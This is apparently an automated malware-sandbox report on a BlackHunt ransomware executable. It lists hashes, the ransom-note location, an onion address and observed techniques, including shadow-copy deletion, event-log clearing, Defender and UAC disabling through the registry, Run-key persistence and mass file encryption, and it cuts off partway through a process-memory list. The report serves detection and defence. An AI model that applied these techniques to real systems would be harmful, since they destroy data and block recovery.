Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
117s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 01:18
Static task
static1
Behavioral task
behavioral1
Sample
ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe
Resource
win10v2004-20231222-en
General
-
Target
ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe
-
Size
707KB
-
MD5
99b3c2c71a0838a0debae74e16d5743f
-
SHA1
f7666a7bbcaa45639493a520f8f07b00236c5d99
-
SHA256
ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334
-
SHA512
b48b55cf30e9c1a68b998694d3fd8a901086e40969909d09f01d284183e0460b382bae8a22346e7507794043930b24ba7ff8e7e52680a71ec0c0d54d994440c4
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1B8fvnh:6uaTmkZJ+naie5OTamgEoKxLW03h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2532 fsutil.exe 3768 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2068 wevtutil.exe 1660 wevtutil.exe 4160 wevtutil.exe 4416 wevtutil.exe 1948 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1652 bcdedit.exe 2728 bcdedit.exe 4580 bcdedit.exe 1968 bcdedit.exe -
Renames multiple (2918) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 2688 wbadmin.exe 1836 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 4088 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\Y: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\H: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\V: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\E: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\L: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\R: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\U: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\O: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\A: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\M: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\Z: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\N: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\W: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\T: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\P: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\I: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\X: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\B: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\S: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\G: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\K: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\J: ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: fsutil.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\notification_plugin.jar ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.scheduler_1.2.0.v20140422-1847.jar ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-templates.xml ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\specialoccasion.png ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_it.properties ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvm_zh_CN.jar ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Los_Angeles ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santiago ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Browser\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Google\CrashReports\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jre7\lib\fontconfig.bfc ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Tallinn ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_sv.properties ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-explorer.xml ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\applet\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_INTRO_BG_PAL.wmv ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Dublin ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\tesselate.x3d ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Yellowknife ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\plugins.dat ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui_2.3.0.v20140404-1657.jar ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\7-Zip\Lang\sr-spc.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Budapest ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\epl-v10.html ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state.nl_zh_4.4.0.v20140623020002.jar ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\7-Zip\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-explorer.xml ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Gibraltar ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\jaccess.jar ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\hi\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\si\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\tet\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_window.html ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\Java\jre7\lib\zi\America\Argentina\#BlackHunt_Private.key ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-sendopts.xml ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\vlc.mo ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-tabcontrol.jar ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring-fallback.xml ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Porto_Velho ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\kk\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-image-mask.png ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_ReadMe.hta ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_ReadMe.txt ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\AdobePDF417.pmp ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2176 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2760 vssadmin.exe 600 vssadmin.exe 1696 vssadmin.exe 2684 vssadmin.exe 1984 vssadmin.exe 3036 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 4164 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4404 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 4384 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeRestorePrivilege 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeBackupPrivilege 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeTakeOwnershipPrivilege 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeAuditPrivilege 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeSecurityPrivilege 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeIncBasePriorityPrivilege 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe Token: SeBackupPrivilege 4300 vssvc.exe Token: SeRestorePrivilege 4300 vssvc.exe Token: SeAuditPrivilege 4300 vssvc.exe Token: SeBackupPrivilege 3144 wbengine.exe Token: SeRestorePrivilege 3144 wbengine.exe Token: SeSecurityPrivilege 3144 wbengine.exe Token: SeSecurityPrivilege 4416 wevtutil.exe Token: SeBackupPrivilege 4416 wevtutil.exe Token: SeSecurityPrivilege 4160 wevtutil.exe Token: SeBackupPrivilege 4160 wevtutil.exe Token: SeSecurityPrivilege 1948 wevtutil.exe Token: SeBackupPrivilege 1948 wevtutil.exe Token: SeSecurityPrivilege 2068 wevtutil.exe Token: SeBackupPrivilege 2068 wevtutil.exe Token: SeSecurityPrivilege 1660 wevtutil.exe Token: SeBackupPrivilege 1660 wevtutil.exe Token: SeDebugPrivilege 4164 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2548 wrote to memory of 2012 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 29 PID 2548 wrote to memory of 2012 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 29 PID 2548 wrote to memory of 2012 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 29 PID 2548 wrote to memory of 2012 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 29 PID 2548 wrote to memory of 3032 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 31 PID 2548 wrote to memory of 3032 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 31 PID 2548 wrote to memory of 3032 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 31 PID 2548 wrote to memory of 3032 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 31 PID 2012 wrote to memory of 2820 2012 cmd.exe 33 PID 2012 wrote to memory of 2820 2012 cmd.exe 33 PID 2012 wrote to memory of 2820 2012 cmd.exe 33 PID 2548 wrote to memory of 2596 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 34 PID 2548 wrote to memory of 2596 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 34 PID 2548 wrote to memory of 2596 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 34 PID 2548 wrote to memory of 2596 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 34 PID 3032 wrote to memory of 2660 3032 cmd.exe 36 PID 3032 wrote to memory of 2660 3032 cmd.exe 36 PID 3032 wrote to memory of 2660 3032 cmd.exe 36 PID 2548 wrote to memory of 2676 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 37 PID 2548 wrote to memory of 2676 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 37 PID 2548 wrote to memory of 2676 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 37 PID 2548 wrote to memory of 2676 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 37 PID 2548 wrote to memory of 2688 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 141 PID 2548 wrote to memory of 2688 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 141 PID 2548 wrote to memory of 2688 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 141 PID 2548 wrote to memory of 2688 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 141 PID 2548 wrote to memory of 2732 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 41 PID 2548 wrote to memory of 2732 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 41 PID 2548 wrote to memory of 2732 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 41 PID 2548 wrote to memory of 2732 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 41 PID 2596 wrote to memory of 2724 2596 cmd.exe 42 PID 2596 wrote to memory of 2724 2596 cmd.exe 42 PID 2596 wrote to memory of 2724 2596 cmd.exe 42 PID 2548 wrote to memory of 2684 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 148 PID 2548 wrote to memory of 2684 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 148 PID 2548 wrote to memory of 2684 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 148 PID 2548 wrote to memory of 2684 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 148 PID 2548 wrote to memory of 2600 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 44 PID 2548 wrote to memory of 2600 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 44 PID 2548 wrote to memory of 2600 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 44 PID 2548 wrote to memory of 2600 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 44 PID 2548 wrote to memory of 2736 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 46 PID 2548 wrote to memory of 2736 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 46 PID 2548 wrote to memory of 2736 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 46 PID 2548 wrote to memory of 2736 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 46 PID 2548 wrote to memory of 2840 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 49 PID 2548 wrote to memory of 2840 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 49 PID 2548 wrote to memory of 2840 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 49 PID 2548 wrote to memory of 2840 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 49 PID 2676 wrote to memory of 2508 2676 cmd.exe 50 PID 2676 wrote to memory of 2508 2676 cmd.exe 50 PID 2676 wrote to memory of 2508 2676 cmd.exe 50 PID 2548 wrote to memory of 2496 2548 ea2edb6f887eae511d01f8653ebe7b1114db2e882f7fdc2e90a10e6b86c79334.exe 51 PID 2548 wrote to memory of 2496 2548 